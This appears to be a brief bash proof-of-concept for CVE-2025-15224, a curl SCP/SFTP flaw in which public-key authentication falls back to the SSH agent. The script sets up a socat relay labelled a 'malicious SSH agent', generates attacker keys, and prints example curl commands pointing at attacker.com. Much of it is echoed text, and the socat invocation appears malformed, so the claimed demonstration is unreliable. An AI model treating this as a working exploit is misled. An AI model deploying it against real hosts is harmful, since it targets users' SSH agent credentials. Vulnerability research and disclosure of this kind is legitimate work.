CVE-2025-15224: curl SCP/SFTP公钥认证错误使用SSH代理漏洞

#!/bin/bash # CVE-2025-15224 PoC - curl SCP/SFTP公钥认证错误使用SSH Agent # This PoC demonstrates the authentication bypass vulnerability # Setup malicious SSH Agent (attacker controlled) echo "[+] Setting up malicious SSH Agent..." rm -rf /tmp/malicious_agent_dir mkdir -p /tmp/malicious_agent_dir SSH_AUTH_SOCK=/tmp/malicious_agent_dir/socket socat -ls -T60 SYSTEM:"socat - UNIX-CONNECT:/tmp/real_agent.sock",nofork & sleep 1 # Generate attacker's SSH key pair (for demonstration) echo "[+] Generating attacker SSH keys..." ssh-keygen -t ed25519 -f /tmp/attacker_key -N "" -q # Target system simulation echo "[+] Simulating vulnerable curl behavior..." echo "VULNERABLE: curl would incorrectly use SSH Agent instead of specified key" echo "Expected: curl uses /path/to/user/key for authentication" echo "Actual: curl queries and uses local SSH Agent" # Demonstration commands echo "" echo "[+] Vulnerable curl command (SFTP):" echo "curl -v --key user_key --pubkey user_pubkey sftp://attacker.com/file" echo "" echo "[+] Vulnerable curl command (SCP):" echo "curl -v --key user_key scp://attacker.com/file" echo "" echo "[!] In vulnerable version, curl may use SSH Agent instead of --key" # Cleanup rm -f /tmp/attacker_key /tmp/attacker_key.pub # Reference: https://curl.se/docs/CVE-2025-15224.html